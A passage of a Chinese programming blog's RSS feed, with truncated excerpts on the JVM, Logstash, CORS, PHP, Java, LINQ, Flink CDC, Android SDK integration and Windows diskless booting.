      <description>JVM代表Java虚拟机（Java Virtual Machine）。它是Java平台的核心组成部分之一，用于执行Java程序。JVM是一个软件程序，它在物理计算机和Java应用程序之间提供了一个抽象层。&#xA;Java是一种高级编程语言，而JVM负责将Java字节码（由Java编译器生成的中间代码）转换为适当的机器指令，以在不同的计算机系统上执行。&#xA;JVM具有如下主要功能：&#xA;1.类加载：JVM负责在运行时动态加载Java类文件，解析类文件中的字节码，并将类定义加载到内存中。它实现了Java的类加载机制，包括类的验证、准备、解析和初始化等步骤。&#xA;2.内存管理：JVM管理Java应用程序的内存使用。它有一个称为Java堆的内存区域，用于存储对象实例和数组。此外，JVM还管理堆栈、方法区和本地方法栈等内存区域。&#xA;3.垃圾回收：JVM提供了自动垃圾回收机制，它会自动检测并回收不再使用的对象内存，以避免内存泄漏和资源浪费。&#xA;4.JIT编译器：JVM还包括即时编译器（Just-In-Time Compiler），它负责将经常执行的代码（热点代码）动态地编译成本地机器代码，以提高程序的执行性能。&#xA;5.安全性管理：JVM提供了安全管理机制，可以限制Java程序的访问和操作系统资源的能力。它通过安全策略文件控制对文件、网络和系统资源的访问。&#xA;总之，JVM是一个独立于硬件和操作系统的虚拟计算机，它使得Java程序具有跨平台的能力，可以在任何支持JVM的系统上运行。它提供了内存管理、垃圾回收、类加载和执行引擎等核心功能，使得Java成为一门可移植、安全且高性能的编程语言。&#xA;Logstash 是一个开源的数据处理和传输工具，它用于收集、转换和传输数据。Logstash 运行在 Java 虚拟机（JVM）上，因此它的运行原理与 JVM 的栈和堆有一定的关系。&#xA;当 Logstash 启动时，JVM 会为 Logstash 分配一定的堆空间，这是 Logstash 用于存储数据和执行代码的内存区域。Logstash 可以通过 JVM 参数来控制堆空间的大小。&#xA;**Logstash 使用 JVM 的栈来执行线程的调用栈，每个线程都有自己的栈空间。**线程在执行过程中，会将方法的参数、局部变量以及方法的返回值等信息保存在栈帧中，这样可以保证线程的执行状态和上下文切换。&#xA;Logstash 在处理数据时，它的主要工作流程如下：&#xA;1.输入阶段：Logstash 通过输入插件从各种数据源（如文件、网络、消息队列等）中读取数据。读取的数据经过处理后被存储在内存中。&#xA;2.过滤阶段：Logstash 将存储在内存中的数据传递给过滤插件进行处理。过滤插件可以对数据进行解析、过滤、转换等操作，并将结果存储在内存中的事件队列中。&#xA;3.输出阶段：经过过滤后的数据会通过输出插件发送到相应的目标，如数据库、搜索引擎、日志文件等。输出插件将从事件队列中提取数据，并将其传输到目标位置。&#xA;*Logstash 的运行原理与 JVM 的栈堆密切相关，&#xA;它使用堆空间来存储数据和执行代码，&#xA;而使用栈空间来管理线程的调用栈和执行上下文。&#xA;*通过合理配置 JVM 的堆大小和调整 Logstash 的输入、过滤和输出插件，可以优化 Logstash 的性能和内存使用。</description>
    </item>
    <item>
      <title>深度优先遍历实现对象深复制</title>
      <link>https://bchobby.github.io/posts/4fad63dfa2ca95faae6c3109ab86e4a3/</link>
      <pubDate>Wed, 16 Aug 2023 20:44:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fad63dfa2ca95faae6c3109ab86e4a3/</guid>
      <description>function deepClone(obj, visited = new WeakMap()) { // 如果是基本数据类型（null、undefined、字符串、数字、布尔值），直接返回 if (obj === null || typeof obj !== &#34;object&#34;) { return obj; } // 检查是否已经复制过这个对象，避免循环引用导致的无限递归 if (visited.has(obj)) { return visited.get(obj); } let clone; if (obj instanceof Array) { // 如果是数组，创建一个新的空数组作为复制对象 clone = []; // 将原数组与复制数组关联起来，以便处理循环引用 visited.set(obj, clone); // 遍历原数组的每个元素，递归调用 deepClone 函数复制元素 for (let i = 0; i &amp;lt; obj.length; i++) { clone[i] = deepClone(obj[i], visited); } } else { // 如果是对象，创建一个新的空对象作为复制对象 clone = {}; // 将原对象与复制对象关联起来，以便处理循环引用 visited.</description>
    </item>
    <item>
      <title>基于javaweb&#43;mysql的ssm社团管理系统(java&#43;ssm&#43;jsp&#43;jquery&#43;mysql)</title>
      <link>https://bchobby.github.io/posts/b46f0fc2e71b20f6d41cae9bb23637f6/</link>
      <pubDate>Wed, 16 Aug 2023 19:52:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b46f0fc2e71b20f6d41cae9bb23637f6/</guid>
      <description>基于javaweb+mysql的ssm社团管理系统(java+ssm+jsp+jquery+mysql)&#xA;运行环境&#xA;Java≥8、MySQL≥5.7、Tomcat≥8&#xA;开发工具&#xA;eclipse/idea/myeclipse/sts等均可配置运行&#xA;适用&#xA;课程设计，大作业，毕业设计，项目练习，学习演示等&#xA;功能说明&#xA;基于javaweb+mysql的SSM社团管理系统(java+ssm+jsp+jquery+mysql)&#xA;项目介绍&#xA;本社团管理系统是根据大学社团管理的实际应用而开发的，采用JSP技术，JAVA编程语言，基于SSM框架，使用MySQL数据库，充分保证系统的安全性和稳定性，使得社团管理工作系统化、规范化、高效化。&#xA;该系统主要分为前台和后台两大功能模块，共包含两个角色：用户、管理员。 具体的系统功能如下： 1.前台功能 前台首页、新闻公告、规章制度、社团活动、活动报名、互动交流、用户注册、用户登陆、用户中心、修改密码、个人信息、我的社团活动、物资申请、退出登陆等功能。 2.后台功能 后台系统登陆、社团用户管理、管理员管理、网站公告管理、社团活动管理、申请类型管理、用户申请管理、活动报名管理、留言交流管理等功能。&#xA;环境需要&#xA;1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。 2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA; 3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可 4.硬件环境：windows 7/8/10 1G内存以上；或者 Mac OS； 5.是否Maven项目: 否；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目 6.数据库：MySql 5.7/8.0等版本均可；&#xA;技术栈&#xA;后台框架：Spring、SpringMVC、MyBatis UI界面：JSP、jQuery 数据库：MySQL&#xA;使用说明&#xA;使用Navicat或者其它工具，在mysql中创建对应名称的数据库，并导入项目的sql文件；&#xA;使用IDEA/Eclipse/MyEclipse导入项目，修改配置，运行项目；&#xA;public class RoleController { @Autowired private RoleService roleService; @Autowired private PermissionService permissionService; @RequestMapping(&#34;/list&#34;) @RequiresPermissions(&#34;role:list&#34;) public String roleList() { return &#34;role/list&#34;; @ResponseBody @RequestMapping(&#34;/getRoles&#34;) criteria.andRolenameEqualTo(name); if (roleService.selectByExample(roleExample).size() != 0) { return false; return true; @RequestMapping(&#34;</description>
    </item>
    <item>
      <title>基于javaweb&#43;mysql的ssm火车票预订管理系统(java&#43;ssm&#43;vue&#43;elementui&#43;mysql)</title>
      <link>https://bchobby.github.io/posts/c4df4c39cd6d6b10010ba8df391c0bc8/</link>
      <pubDate>Wed, 16 Aug 2023 19:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4df4c39cd6d6b10010ba8df391c0bc8/</guid>
      <description>基于javaweb+mysql的ssm火车票预订管理系统(java+ssm+vue+elementui+mysql)&#xA;运行环境&#xA;Java≥8、MySQL≥5.7、Tomcat≥8、Node.js≥10&#xA;开发工具&#xA;后端：eclipse/idea/myeclipse/sts等均可配置运行&#xA;前端：WebStorm/VSCode/HBuilderX等均可&#xA;适用&#xA;课程设计，大作业，毕业设计，项目练习，学习演示等&#xA;功能说明&#xA;基于javaweb+mysql的SSM火车票预订管理系统(java+ssm+vue+elementui+mysql)&#xA;环境需要&#xA;1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。 2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA; 3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可 4.硬件环境：windows 7/8/10 1G内存以上；或者 Mac OS； 5.是否Maven项目: 是；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目 6.数据库：MySql 5.7/8.0等版本均可；&#xA;技术栈&#xA;后端：SSM(Spring+SpringMVC+Mybatis-plus) 前端：ElementUI+Vue&#xA;使用说明&#xA;使用Navicat或者其它工具，在mysql中创建对应sql文件名称的数据库，并导入项目的sql文件； 2. 使用IDEA/Eclipse/MyEclipse导入项目，修改配置，运行项目； 3. 将项目中config.properties配置文件中的数据库配置改为自己的配置，然后运行； 个人中心Controller： /** * 个人中心Controller */ @Controller public class UserInforController { @Autowired private UserInforServiceImpl userInforService = null; /** * 修改密码操作 * @param oldPassword Integer eid = (Integer) httpSession.getAttribute(&#34;employeeId&#34;); try { userInforService.updateEmployeePassword(eid, oldPassword, newPassword); map.put(&#34;type&#34;,&#34;success&#34;); map.put(&#34;msg&#34;,&#34;密码修改成功&#34;); return map; } catch (CustomException e) { map.</description>
    </item>
    <item>
      <title>基于javaweb&#43;mysql的ssm图书管理系统(java&#43;ssm&#43;jsp&#43;jquery&#43;mysql)</title>
      <link>https://bchobby.github.io/posts/2afa764eff845609f89ce18e76a49e2f/</link>
      <pubDate>Wed, 16 Aug 2023 19:51:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2afa764eff845609f89ce18e76a49e2f/</guid>
      <description>基于javaweb+mysql的ssm图书管理系统(java+ssm+jsp+jquery+mysql)&#xA;运行环境&#xA;Java≥8、MySQL≥5.7、Tomcat≥8&#xA;开发工具&#xA;eclipse/idea/myeclipse/sts等均可配置运行&#xA;适用&#xA;课程设计，大作业，毕业设计，项目练习，学习演示等&#xA;功能说明&#xA;基于javaweb+mysql的SSM图书管理系统(java+ssm+jsp+jquery+mysql)&#xA;项目介绍&#xA;本图书馆管理系统主要分为前台和后台两大功能模块，共包含两种角色，分别是：读者、管理员。&#xA;其功能如下： 1.前台功能 前台首页、网站公告、图书浏览、图书详情、图书搜索、图书分类展示、推荐图书、全部图书、预约图书、图书借阅、图书评论、收藏图书、用户注册、用户登陆、用户中心、修改个人信息、修改密码、我的借阅历史、我的收藏、我的意见反馈、退出等功能。 2.后台功能 后台系统登陆、用户信息管理、新闻公告信息管理、图书类型管理、图书信息管理、图书预约管理、延期申请管理、图书评价管理、意见反馈管理、统计信息等功能。&#xA;环境需要&#xA;1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。 2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA; 3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可 4.硬件环境：windows 7/8/10 1G内存以上；或者 Mac OS； 5.是否Maven项目: 否；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目; 6.数据库：MySql 5.7/8.0等版本均可；&#xA;技术栈&#xA;后台框架：Spring、SpringMVC、MyBatis UI界面：JSP、jQuery 数据库：MySQL&#xA;使用说明&#xA;使用Navicat或者其它工具，在mysql中创建对应名称的数据库，并导入项目的sql文件；&#xA;使用IDEA/Eclipse/MyEclipse导入项目，修改配置，运行项目；&#xA;@Controller public class BookController { @Autowired private BookService bookService; @Autowired private LendService lendService; private Date getDate(String pubstr) { try { SimpleDateFormat df = new SimpleDateFormat(&#34;yyyy-MM-dd&#34;); return df.parse(pubstr); @Autowired private ReaderCardService readerCardService; private ReaderInfo getReaderInfo(long readerId, String name, String sex, String birth, String address, String phone) { ReaderInfo readerInfo = new ReaderInfo(); Date date = new Date(); try { SimpleDateFormat df = new SimpleDateFormat(&#34;</description>
    </item>
    <item>
      <title>开发微信小程序时WX文件与html、css文件的区别</title>
      <link>https://bchobby.github.io/posts/1c2b486af696e173629734def0bbfacc/</link>
      <pubDate>Wed, 16 Aug 2023 19:40:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c2b486af696e173629734def0bbfacc/</guid>
      <description>1.WXML vs HTML 1.标签名称不同&#xA;HTML:div、span、img、a&#xA;WXML:view、text、image、navigator&#xA;2.属性节点不同&#xA;&amp;lt;a href=&#39;#&#39;&amp;gt;超链接&amp;lt;/a&amp;gt;&#xA;&amp;lt;navigator url=&#34;./../..?&#34;&amp;gt;&#xA;3.提供Vue模板语法&#xA;数据绑定&#xA;列表渲染&#xA;条件渲染&#xA;2.WXSS vs CSS 1.新增加了rpx尺寸单位&#xA;CSS中需要手动进行像素单位换算，例如 rem&#xA;WXSS在底层支持新的尺寸单位rpx，在不同大小的屏幕上小程序会自动进行换算&#xA;2.提供了全局的样式和局部样式&#xA;项目根目录中的app.wxss 会作用于所有小程序页面&#xA;局部页面的.wxss样式仅对当前页面生效&#xA;3.WXSS仅支持部分选择器&#xA;.class和#id&#xA;element&#xA;并集选择器、后代选择器&#xA;::after和::before 等伪类选择器</description>
    </item>
    <item>
      <title>跨域问题出现 =＞ 解决办法</title>
      <link>https://bchobby.github.io/posts/1a0f1ebd10e1c92a5980be5b4dc09998/</link>
      <pubDate>Wed, 16 Aug 2023 19:39:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a0f1ebd10e1c92a5980be5b4dc09998/</guid>
      <description>什么是跨域问题呢？ 跨域（Cross-Origin）指的是在 Web 开发中，一个网页的运行环境（域）与所请求资源的域不一致，即请求的目标资源与当前网页的域名（协议、域名或端口）不同。&#xA;同源策略 Web 浏览器遵循同源策略（Same-Origin Policy），这是一种安全策略，旨在防止潜在的恶意网站窃取用户数据或进行其他安全攻击。同源策略要求网页的运行环境和所请求的资源必须拥有相同的协议、域名和端口，否则浏览器会阻止跨域请求的执行。&#xA;举例来说，每个网站都有一个域名或者IP地址（实际上域名就是对IP地址的别名，方便人们记忆）。当我们访问一个网站时，浏览器会将某个页面下载到本地并解析，以展示图形页面。为了支持更多的业务需求，在这个页面中可能会发起一些额外的请求。为了避免页面卡顿，我们使用了Ajax技术偷偷地通过后门请求数据。偷偷走后门是可行的，但是必须遵循规则，不可以随意发起请求。&#xA;假设当前页面是www.baidu.com，在这个页面中发送了一个Ajax请求。浏览器允许请求发送出去，但是请求的地址不是本身的地址，而是www.hao123.com/api/xxxx这样的地址。此时，浏览器会检查响应，并查看服务端是否允许任何来源发起请求。如果服务端允许，浏览器将放行请求。否则，浏览器会报错，这种错误就是跨域问题。&#xA;如何处理跨域问题呢？ 1.JSONP（JSON with Padding） 核心思想是浏览器只限制ajax，不限制图片、多媒体、css、js等资源访问其他网站，恰好利用这个特性，使用一些技巧来解决跨域。&#xA;JSONP 是一种通过添加一个&amp;lt;script&amp;gt;标签来进行跨域请求的方法。服务器返回的不是纯JSON数据，而是一个包含JSON数据的函数调用。这个函数会被前端代码定义，从而实现跨域数据的获取。JSONP只支持GET请求。&#xA;有局限性，需要回调函数 +别人服务端配合&#xA;2.CORS（Cross-Origin Resource Sharing） CORS 是一种由服务器设置的响应头，允许特定的源在浏览器上进行跨域访问。服务器可以设置Access-Control-Allow-Origin响应头来指定允许的源，以及其他相关的CORS头，如Access-Control-Allow-Methods、Access-Control-Allow-Headers等。CORS支持各种HTTP方法。&#xA;有局限性，需要服务端配合，别人服务端安全性降低&#xA;3.代理服务器（Proxy） 前端可以通过在自己的服务器上设置代理，使其能够代替浏览器向目标服务器发起请求。前端代码向自己的服务器发送请求，然后服务器再将请求转发到目标服务器，并将响应返回给前端。这样可以避免跨域问题，因为浏览器实际上只与同源的服务器通信。&#xA;这个是比较好的解决方案&#xA;4.WebSocket 如果需要进行实时通信，WebSocket 提供了一种在浏览器中实现跨域通信的方法。WebSocket 协议允许在不受同源策略限制的情况下建立双向通信。&#xA;这些就是当在项目中遇到跨域问题时快速的解决办法。</description>
    </item>
    <item>
      <title>Java字符串去掉空格的几种方法</title>
      <link>https://bchobby.github.io/posts/97578cb5861448f39b32f678b95c2884/</link>
      <pubDate>Wed, 16 Aug 2023 19:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97578cb5861448f39b32f678b95c2884/</guid>
      <description>去掉首尾空格&#xA;String str = &#34;Hello java! &#34;; System.out.println(str.trim()); 去掉所有空格，包括中间&#xA;String str = &#34;Hello java! &#34;; String str2 = str.replaceAll(&#34; &#34;, &#34;&#34;); System.out.println(str2); 替换大部分空白字符，不限于空格&#xA;String str = &#34;Hello java! &#34;; String str3 = str.replaceAll(&#34;\\s*&#34;,&#34;&#34;); System.out.println(str3); 其中，\s可以匹配空格、制表符、换页符等空白字符&#xA;Java正则表达式</description>
    </item>
    <item>
      <title>java算法系列，第十一篇：合并有序链表</title>
      <link>https://bchobby.github.io/posts/366e61e5fa5ba390fa7e287dfcf1c409/</link>
      <pubDate>Wed, 16 Aug 2023 18:23:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/366e61e5fa5ba390fa7e287dfcf1c409/</guid>
      <description>现在有两个链表：&#xA;[1,3,8,9],&#xA;[2,4]&#xA;要求合并成一个新的有序列表：[1,2,3,4,8,9]&#xA;这该怎么办呢？&#xA;方法一：&#xA;循环比较两个链表中的值，谁小就在该次循环中取它的节点添加到一个新链表去循环完了以后将剩余的节点追加到新链表 /** * 合并两个有序列表 * @param p1 有序列表1 * @param p2 有序列表2 * @return 合并后的有序列表 */ public ListNode mergeTwoLists(ListNode p1, ListNode p2) { ListNode s = new ListNode(-1,null);//头哨兵 ListNode p = s; while (p1 != null &amp;amp;&amp;amp; p2 != null) { if(p1.getVal() &amp;lt; p2.getVal()) { p.setNext(p1); p1 = p1.getNext(); } else { p.setNext(p2); p2 = p2.getNext(); } p = p.getNext();//更新p } if(p1 != null)//如果p1还不为空，就把p1剩下的追加到p后面 { p.</description>
    </item>
    <item>
      <title>使用PHP生成MySQL数据字典</title>
      <link>https://bchobby.github.io/posts/e04e87d5b2b62658a4aee84c638a2e4b/</link>
      <pubDate>Wed, 16 Aug 2023 17:39:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e04e87d5b2b62658a4aee84c638a2e4b/</guid>
      <description>一个项目完成之后，按照需求，我需要给这个项目写设计文档，数据库字典。&#xA;设计文档到时好说，但是数据库字典可真的是有点吓到我了。&#xA;项目开始的比较急，最开始建数据库的时候没有用excel写数据库字典。&#xA;这几十张表的数据库，一个一个的写，那真的是酸爽。&#xA;但是，这一切好像又都不是事。&#xA;我们有强大的PHP啊。&#xA;下面给大家分享一个自己写的函数：使用PHP生成mysql字典。&#xA;&amp;lt;?php $dbhost = &#39;127.0.0.1:3306&#39;; // mysql服务器主机地址 $dbuser = &#39;root&#39;; // mysql用户名 $dbpass = &#39;root&#39;; // mysql用户名密码 $dbname = &#34;shopxo&#34;; //$mysql = mysqli_connect($dbhost, $dbuser, $dbpass);//这是mysql的链接方法 $mysql = new mysqli(&#34;localhost&#34;, $dbuser,$dbpass,$dbname, &#34;3306&#34;); //这是mysqli的链接方法 if(! $mysql ) { die(&#39;连接失败: &#39; . mysqli_error($mysql)); } $html = expertDirectory($mysql,$dbname); echo &#34;&amp;lt;pre&amp;gt;&#34;; var_dump($html); /** * 导出数据库字典 */ function expertDirectory($mysql,$dbname) { mysqli_query($mysql, &#34;set names utf8&#34;); $table_result = $mysql-&amp;gt;query(&#39;show tables&#39;); $no_show_table = array(); //不需要显示的表 $no_show_field = array(); //不需要显示的字段 //取得所有的表名 while($row = mysqli_fetch_array($table_result)){ if(!</description>
    </item>
    <item>
      <title>PHP使用phpmailer及SMTP服务实现邮件发送</title>
      <link>https://bchobby.github.io/posts/9c34e29db8163832bc3342bfe32166e0/</link>
      <pubDate>Wed, 16 Aug 2023 17:38:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c34e29db8163832bc3342bfe32166e0/</guid>
      <description>博客升级中，把之前没有想到的功能一点点的完善。&#xA;这篇日志记录一下，使用phpmailer实现邮件发送的这样一个操作。&#xA;博客偶尔会有留言和评论，我也会及时回复，但是有一个问题，我回复了，给我留言的人如果不再次进我的博客查看，他是不知道的，这个很不合理。&#xA;去看了下其他人的博客。多都是通过邮件回复的。&#xA;这个挺好，搞一个。&#xA;百度上基本上介绍了两种方法。&#xA;第一种是PHP通过qq邮箱或者网易邮箱的SMTP服务器来实现邮件发送。&#xA;第二种是使用phpmailer来实现邮件发送。&#xA;注意，第二种方法也需要你的邮箱开启SMTP服务。&#xA;如何开启邮箱的SMTP服务请参考《QQ邮箱开启SMTP服务》，最终效果如下图所示：&#xA;在开启过程中，页面中会提示一个你调用SMTP的授权密码，如下图所示，此密码一定要记住，如果没记住，可再次生成，我上边开启了两个SMTP服务，以最后的授权密码为准。&#xA;第一种方法尝试过了，报错如下：&#xA;Trying to smtp.qq.com:587 220 smtp.qq.com Esmtp QQ Mail Server Connected to relay host smtp.qq.com &amp;gt; HELO localhost 250 smtp.qq.com &amp;gt; AUTH LOGIN ODA1Nzk1OTU1QHFxLmNvbQ== 530 Must issue a STARTTLS command first. Error: Remote host returned &#34;530 Must issue a STARTTLS command first.&#34; Error: Error occurred while sending HELO command. Error: Cannot send email to &amp;lt;1150366147@qq.com&amp;gt; Disconnected from remote host 百度了一下，没有找到明确的答案。如果你们有遇到过这样的问题，请在下方留言，我们可以交流一下。</description>
    </item>
    <item>
      <title>PHP报错：Deprecated Methods with the same name as their class will not be constructors in a future vers</title>
      <link>https://bchobby.github.io/posts/402188a619262378210eed3a9ac63f11/</link>
      <pubDate>Wed, 16 Aug 2023 17:36:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/402188a619262378210eed3a9ac63f11/</guid>
      <description>务器的PHP版本从5.6升级到了7.2。&#xA;运行之前写的一个项目的时候，报错：&#xA;Deprecated: Methods with the same name as their class will not be constructors in a future version of PHP 这是啥错，没见过啊。&#xA;百度了一下，官方给的说法是：PHP7以后的类的构造函数必须是__construct。&#xA;所以找到对应的类，找到与类同名的函数，将函数名改为__construct即可。&#xA;PHP OOP使用和类名相同的方法名作为构造方法，是 PHP4 的写法，PHP 5中同时支持__construct和类同名方法，但__construct方法具有优先性。&#xA;PHP 7开始使用和类名相同的方法名作为构造方法会报E_DEPRECATED级别的错误，提示在未来版本中会彻底抛弃类同名方法作为构造函数。&#xA;但程序仍然会正常执行。&#xA;例如&#xA;&amp;lt;?php class a{ function a(){ } } ?&amp;gt; 改成：&#xA;&amp;lt;?php class a{ function __construct(){ } } ?&amp;gt; 以上就是全部内容&#xA;有好的建议，请在下方输入你的评论。</description>
    </item>
    <item>
      <title>linq中的where条件拼接</title>
      <link>https://bchobby.github.io/posts/cd8b222cce661d6fbdde2b8bb7f917e4/</link>
      <pubDate>Wed, 16 Aug 2023 17:31:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd8b222cce661d6fbdde2b8bb7f917e4/</guid>
      <description>在LINQ中，可以使用多种方式拼接Where查询条件，以满足不同的需求。以下是几种常用的方法：&#xA;1. 使用多个Where方法： var query = list.Where(doc =&amp;gt; doc[&#34;key1&#34;] == value1) .Where(doc =&amp;gt; doc[&#34;key2&#34;] == value2); 上述示例将两个条件分别作为不同的Where方法来处理，这将返回满足key1字段等于value1和key2字段等于value2的元素。&#xA;2. 使用逻辑运算符： var query = list.Where(doc =&amp;gt; doc[&#34;key1&#34;] == value1 &amp;amp;&amp;amp; doc[&#34;key2&#34;] == value2); 上述示例中，使用&amp;amp;&amp;amp;运算符将两个条件连接起来，这将返回同时满足两个条件的元素。&#xA;3. 动态拼接查询条件： var filters = new List&amp;lt;Func&amp;lt;BsonDocument, bool&amp;gt;&amp;gt;(); if (condition1) { filters.Add(doc =&amp;gt; doc[&#34;key1&#34;] == value1); } if (condition2) { filters.Add(doc =&amp;gt; doc[&#34;key2&#34;] == value2); } var query = list.Where(doc =&amp;gt; filters.All(filter =&amp;gt; filter(doc))); 上述示例中，将查询条件存储在一个List&amp;lt;Func&amp;lt;BsonDocument, bool&amp;gt;&amp;gt;列表中，根据条件动态地添加不同的过滤器函数。然后使用All方法确保所有过滤器都返回true。&#xA;使用这些方法，你可以根据具体需求动态拼接查询条件。请根据你的实际情况选择适合的方式进行条件拼接。</description>
    </item>
    <item>
      <title>mysql cdc 整库迁移 (mysql to mysql)</title>
      <link>https://bchobby.github.io/posts/22f6a500d79285a1834492222800f0d9/</link>
      <pubDate>Wed, 16 Aug 2023 16:26:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22f6a500d79285a1834492222800f0d9/</guid>
      <description>技术思想 利用 mysql catalog，mysql cdc，flink jdbc 等技术实现 mysql 整库迁移至下游数据库，这里是示范 mysql to mysql ，其他 sink 组件可自行扩展实现。&#xA;通过 flink ParameterTool，可以选择是整库同步还是多表亦或单表同步，可以设置全局并发，源表 mysql 参数，目标表 mysql 参数&#xA;通过 sql Connection 实现自动建表逻辑 (mysql 数据类型众多，这里并没有测试所有的类型参数，如担心建表不成功，可手动建表，不影响程序运行)&#xA;下游使用 flink jdbc 来实现，语法为 upsert 即幂等写入(重复数据只会写入一次)&#xA;使用 mysql catalog 来实现源表元数据的获取&#xA;自定义 CustomDebeziumDeserializer 实现 DebeziumDeserializationSchema 接口对数据进行转换&#xA;该任务本质上是 单 source 多 sink 任务，不同的表数据不一样可能会有一定的反压&#xA;程序测试 生成五百万条数据 五张表 一分钟左右完成，增量数据一万条，可以同步完成&#xA;环境 flink 1.17 cdc 2.4.0&#xA;refer:&#xA;https://nightlies.apache.org/flink/flink-docs-release-1.16/&#xA;https://blog.csdn.net/qq_36062467/article/details/128117647&#xA;https://ververica.github.io/flink-cdc-connectors/master/content/connectors/mysql-cdc%28ZH%29.html&#xA;代码 github 地址 https://github.com/SophiaData/Bigdata_Code_Tutorial/blob/master/sync_database_mysql/src/main/java/io/sophiadata/flink/sync/FlinkSqlWDS.java&#xA;/** (@SophiaData) (@date 2022/12/1 16:02).</description>
    </item>
    <item>
      <title>【Android】 Firebase登录、FCM、Google Play支付、adbrix、ONEStore、Galaxy Store、Google Install Referrer</title>
      <link>https://bchobby.github.io/posts/a6497fa69edc60763f320e082fdfa725/</link>
      <pubDate>Wed, 16 Aug 2023 16:07:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6497fa69edc60763f320e082fdfa725/</guid>
      <description>Android SDK接入 最近接了一个韩国的渠道，之前没有接过这些原生的sdk，头大啊。本来也不是搞android开发的，只能强搞了。还是国内的好啊，都给你整合完了。&#xA;如有问题，麻烦大佬指教一二，非常感谢。&#xA;一.Firebase，FCM，Google Login，fb Login 这里我把Google，Firebase，Facebook相关的都放在一起了，因为这些东西有很多的关联。&#xA;以下是官方文档，推荐先看一遍。&#xA;Firebase&#xA;FCM&#xA;Google Login&#xA;Facebook Login&#xA;1.相应app的build.gradle 顶部加上&#xA;// 声明是要使用谷歌服务框架 apply plugin: &#39;com.google.gms.google-services&#39; 在 dependencies 里加上&#xA;dependencies { // ========== firebase ========== implementation &#39;com.google.firebase:firebase-auth:20.0.4&#39; // Import the Firebase BoM implementation platform(&#39;com.google.firebase:firebase-bom:28.4.2&#39;) // Declare the dependencies for the Firebase Cloud Messaging and Analytics libraries implementation &#39;com.google.firebase:firebase-analytics&#39; // When using the BoM, you don&#39;t specify versions in Firebase library dependencies implementation &#39;com.google.firebase:firebase-messaging&#39; implementation &#39;com.</description>
    </item>
    <item>
      <title>windows无盘启动技术开发之使用本地镜像文件启动电脑</title>
      <link>https://bchobby.github.io/posts/fa1178665c61a9bf1eb127fe13bd6430/</link>
      <pubDate>Wed, 16 Aug 2023 15:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa1178665c61a9bf1eb127fe13bd6430/</guid>
      <description>by fanxiushu 2023-07-26 转载或引用请注明原始作者。&#xA;其实使用本地镜像文件启动电脑，这个windows操作系统本身就是自带的功能。&#xA;win7以上的系统，制作 vhd或vhdx格式的镜像文件，&#xA;然后在镜像文件中安装windows操作系统，然后放到真实硬盘的某个分区的某个目录中。&#xA;然后在真实的操作系统中修改BCD配置文件，把BCD配置成从刚才安装了操作系统的vhd或vhdx镜像文件启动，&#xA;这样电脑下次启动的时候，就自然从vhd或vhdx的镜像文件中启动了。&#xA;自从win7开始，创造了 vhd或vhdx格式的镜像文件以来，就有了这样的功能。&#xA;只不过我一直没用过，不知道能用来干嘛。&#xA;不过也确实挺新奇的，&#xA;你想啊，本来按照正常的思路，应该是老老实实的在真实硬盘分区中安装操作系统，&#xA;然后从真实硬盘分区中启动电脑，&#xA;现在变成了：可以从真实硬盘中的某个镜像文件（vhd或vhdx格式文件）中启动电脑。&#xA;本文并不打算介绍windows自带的这种功能，&#xA;而是从windows无盘启动技术出发，开发我们自己的从本地镜像文件启动windows操作系统的功能。&#xA;这个应该是我在阐述 UEFI引导程序开发的第2篇文章末尾提到过这么一个类似的功能：&#xA;windows无盘启动技术开发之UEFI（新一代BIOS）引导程序开发之二_uefi驱动开发_雨中风华的博客-CSDN博客&#xA;从无盘启动技术出发，开发自己的从本地镜像文件启动windows操作系统。&#xA;可以让我们从原理上深入理解windows上面的从vhdx这样的镜像文件启动系统的骚操作。&#xA;同时从原理上掌握，让我们有了更多的自主权，&#xA;比如镜像文件格式可以自己定义，（我一般都是使用原始镜像文件格式，因为这样简单而且高效）&#xA;比如把各类不同操作系统集成到一起来，&#xA;比如把linux和windows的镜像文件都放到NTFS分区的硬盘中，&#xA;当然这需要linux和windows中都开发类似的功能，工作量也不少。&#xA;而且牵涉到linux使用不同的文件系统，还得在linux内核中开发对应的NTFS文件系统。&#xA;当然，如果全程都是自己开发的网络方式的无盘启动，这个事情就变得轻松了些，&#xA;甚至可以把从从本地镜像文件启动这个功能，加入到网络无盘启动中去，作为一个小小的附加子功能。&#xA;我就是这么做的，在实现了网络方式的无盘启动之后，&#xA;也许是好玩，也许是验证这种技术可行性，当然目前好像也没发现这玩意有啥用处。&#xA;反正不管怎么说，先让我们来看看下面的演示视频：&#xA;win10系统的无盘启动过程&#xA;win7 无盘系统启动过程+&#xA;第二个视频的前半部分，是展示从网络方式的无盘启动过程。&#xA;视频的后半部分，展示的是从本地镜像文件启动的过程。&#xA;本地镜像启动稍微快些，因为毕竟是读写本地镜像文件，比网络传输快些。&#xA;现在，我们来看看本地镜像启动的具体实现过程。&#xA;其实正如我在在阐述 